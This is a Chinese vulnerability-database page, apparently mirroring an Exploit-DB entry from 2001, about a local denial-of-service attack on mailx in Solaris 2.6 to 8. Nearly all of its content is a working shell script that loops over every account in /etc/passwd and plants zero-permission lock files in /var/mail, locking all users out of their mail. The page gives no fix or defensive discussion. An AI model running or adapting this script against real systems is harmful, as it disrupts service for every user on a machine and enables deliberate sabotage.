Solaris 2.6 / 7 / 8 - Lock Users Out of mailx

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1053510 漏洞类型
发布时间 2001-01-03 更新时间 2001-01-03
CVE编号 N/A CNNVD-ID N/A
漏洞平台 Solaris CVSS评分 N/A
|漏洞来源
https://www.exploit-db.com/exploits/240
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
#!/bin/sh
#
# Solaris mailx(1) username.lock  proof of theory
# makes mailx not work for all users except those
# that  can erase the lockfile even so mailx will
# hang for a long time.
#
# Tested on Solaris 2.6, 7, 8
#
# by Optyx <optyx@uberhax0r.net>
# http://www.uberhax0r.net

echo "mailx-lock by optyx. http://www.uberhax0r.net"
for x in `cat /etc/passwd | cut -d':' -f1`;do
touch /var/mail/$x.lock
chmod 0 /var/mail/$x.lock
done


# milw0rm.com [2001-01-03]